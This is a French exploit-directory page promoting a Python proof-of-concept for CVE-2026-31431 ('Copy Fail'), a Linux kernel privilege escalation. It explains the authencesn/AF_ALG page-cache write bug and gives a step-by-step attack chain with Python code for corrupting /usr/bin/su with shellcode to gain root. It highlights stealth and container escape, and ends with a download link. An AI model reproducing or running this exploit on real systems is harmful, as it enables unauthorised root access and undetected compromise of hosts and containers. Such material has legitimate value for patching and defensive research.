Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationTests d'IntrusionRed TeamingExploitation de Binaires
GitHub

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
julichaan/cve-2026-31431-python-copyfail-poc

CVE-2026-31431-python-copyfail-POC

Exploit Python pour CVE-2026-31431, une élévation de privilèges dans le noyau Linux via la corruption du cache de pages des binaires setuid, permettant d'obtenir un accès root.

Voir le dépôt
29il y a 5 moisPas encore vérifié

CVE-2026-31431 : Copy Fail - Élévation de privilèges dans le noyau Linux

Copy Fail (CVE-2026-31431) est un bug logique critique dans le sous-système cryptographique du noyau Linux qui permet à des utilisateurs non privilégiés d'obtenir une élévation de privilèges jusqu'à root. La vulnérabilité affecte les noyaux Linux 6.0.0 à 6.18.x sur toutes les principales distributions.

Ce dépôt contient l'exploit réel qui déclenche la vulnérabilité en corrompant le cache de pages des binaires setuid et en exécutant du code arbitraire avec les privilèges root.


Qu'est-ce que Copy Fail ?

Copy Fail est un bug logique qui permet à des utilisateurs non privilégiés d'écrire des blocs arbitraires de 4 octets directement dans le cache de pages du noyau de tout fichier lisible sur le système, y compris les binaires setuid.

Caractéristiques clés :

  • Déterministe : Aucune condition de course ni fenêtre temporelle nécessaire
  • Portable : Le même exploit fonctionne sur toutes les distributions vulnérables (Ubuntu, RHEL, Amazon Linux, SUSE)
  • Discret : Les fichiers sur disque ne sont jamais modifiés ; seul le cache de pages en mémoire est corrompu
  • Conteneurisé : Contourne les limites des conteneurs car le cache de pages est partagé sur l'hôte
  • Simple : Nécessite uniquement Python 3.10+ et les modules de la bibliothèque standard

Détails techniques

La cause racine : opérations AEAD en place

La vulnérabilité provient d'une optimisation de 2017 dans algif_aead.c (commit 72548b093ee3) qui a modifié les opérations AEAD de hors place à en place :

Avant (sûr - 2015) :

Scatterlist TX (entrée)  ← tampon TX (données utilisateur du fichier)
Scatterlist RX (sortie) ← tampon RX (zone de sortie de l'utilisateur)
                          
Scatterlists séparés = les pages du cache de pages sont en lecture seule

Après (vulnérable - 2017) :

Scatterlist combiné :
[ tampon RX ] [ pages du cache de pages chaînées via sg_chain() ]
↑                ↑
req->src = src   req->dst = dst  (MÊME scatterlist)

Les pages du cache de pages sont désormais dans un scatterlist INSCRIPTIBLE !

Le scatterlist combiné ressemble à :

[AAD + texte chiffré du tampon RX] || [Tag du cache de pages de /usr/bin/su]
                                  ↑
                                  Frontière
                                  (authencesn écrit AU-DELÀ de ce point)

Le déclencheur : écriture de brouillon de l'algorithme authencesn

L'algorithme authencesn est un wrapper AEAD utilisé par IPsec pour les numéros de séquence étendus (ESN). Il effectue un calcul HMAC mais doit réorganiser les octets dans l'AAD (données authentifiées associées).

Dans le code du noyau (crypto/authenc.c), pendant le déchiffrement :

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // lit les octets AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // temporaire : écrase dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← LIGNE CLÉ
                                                        // écrit 4 octets à dst[assoclen+cryptlen]

Le problème : La troisième écriture se produit à l'offset assoclen + cryptlen. Dans le chemin en place vulnérable :

  • Cas normal : Cet offset se trouve dans le tampon RX de l'utilisateur (inoffensif)
  • Cas vulnérable : Cet offset est au-delà du tampon de l'utilisateur et tombe dans les pages du cache de pages chaînées (CRITIQUE)

Le noyau traite cette position comme un « espace de brouillon jetable » et y écrit la valeur de manière permanente. Les octets d'origine à cette position dans le cache de pages sont perdus à jamais.

La chaîne d'attaque

1. L'attaquant ouvre un socket AF_ALG → le lie à authencesn(hmac(sha256),cbc(aes))
   (Aucun privilège nécessaire ; AF_ALG est disponible pour les utilisateurs non privilégiés par défaut)

2. L'attaquant ouvre le fichier cible : /usr/bin/su (binaire setuid-root)

3. L'attaquant utilise splice() pour délivrer les pages du cache de pages de /usr/bin/su
   dans le socket AF_ALG comme « texte chiffré » et « tag »
   
4. L'attaquant envoie sendmsg() avec un AAD contenant :
   - Octets 0-3 : bourrage
   - Octets 4-7 : seqno_lo = valeur de 4 octets à écrire (contrôlée par l'attaquant)
   - Octets 8+ : bourrage

5. L'attaquant appelle recvmsg() qui déclenche l'opération de déchiffrement AEAD
   
   Dans le déchiffrement d'authencesn dans l'espace noyau :
   a) Le noyau lit les octets AAD 0-7
   b) Le noyau écrit seqno_hi à dst[4..7] (temporaire, puis restauré)
   c) Le noyau écrit seqno_lo à dst[assoclen + cryptlen]
      ↓
      CETTE ÉCRITURE PASSE DU TAMPON UTILISATEUR AUX PAGES DU CACHE DE PAGES
      ↓
      L'écriture de 4 octets dans le cache de pages de /usr/bin/su se produit ICI
   d) Le noyau calcule le HMAC (échec de validation - le texte chiffré est fabriqué)
   e) recvmsg() renvoie une erreur
   
   MAIS : L'écriture de 4 octets PERSISTE DÉJÀ dans le cache de pages

6. L'attaquant répète les étapes 2-5 pour chaque bloc de 4 octets du shellcode

7. L'attaquant exécute /usr/bin/su
   - Le noyau charge le binaire depuis le CACHE DE PAGES (qui contient désormais le shellcode)
   - Le binaire est setuid-root
   - Le shellcode s'exécute avec UID=0
   - L'attaquant a un accès root

Pourquoi cela fonctionne

AspectExplication
Aucun crashL'opération se termine du point de vue du noyau
DéterministeAucune condition de course ; synchrone et fiable
PersistantLa corruption du cache de pages survit même après l'erreur de recvmsg()
InvisibleLe fichier sur disque est intact ; les outils d'intégrité standard ne détectent rien
UniverselLe même code fonctionne sur toutes les distributions ; aucun offset par distribution nécessaire
PortableFonctionne sur les architectures x86-64 et ARM64

L'exploit : étape par étape

Étape 1 : Configuration du socket

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # Socket de requête pour les opérations AEAD

Créez un socket AF_ALG lié au modèle AEAD authencesn.

Étape 2 : Ouvrir le binaire cible

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

Ouvrez le binaire setuid qui sera corrompu. Tout fichier lisible fonctionne, mais les binaires setuid sont choisis pour l'élévation de privilèges.

Étape 3 : Créer un tube pour splice

pipe_rd, pipe_wr = os.pipe()

Créez un tube qui servira d'intermédiaire pour les opérations splice(). Les tampons du tube contiendront des références aux pages du cache de pages.

Étape 4 : Transférer le fichier vers le tube

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

Utilisez splice() pour transférer cryptlen octets de /usr/bin/su à partir de write_offset vers le tube.

Pourquoi c'est important : splice() transfère des données entre descripteurs de fichiers sans copie. Il transmet des références directes aux pages du cache de pages du noyau. Ces pages restent dans la structure de tampon interne du tube.

Étape 5 : Fabriquer les paramètres AEAD

assoclen = 8          # Longueur AAD : octets 0-7
cryptlen = 32         # Longueur du texte chiffré (== sortie HMAC-SHA256)
authsize = 32         # Longueur du tag
write_offset = 0x2000 # Offset dans /usr/bin/su où écrire

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

L'AAD (données authentifiées associées) contient :

  • Octets 0-3 : Bourrage
  • Octets 4-7 : La valeur de 4 octets à écrire (seqno_lo) ← Contrôlée par l'attaquant
  • Reste : Bourrage

L'algorithme authencesn utilisera les octets 4-7 de cet AAD dans son écriture de brouillon.

Étape 6 : Envoyer l'AAD

req_sock.sendmsg([aad], [], socket.MSG_MORE)
Télécharger l’outil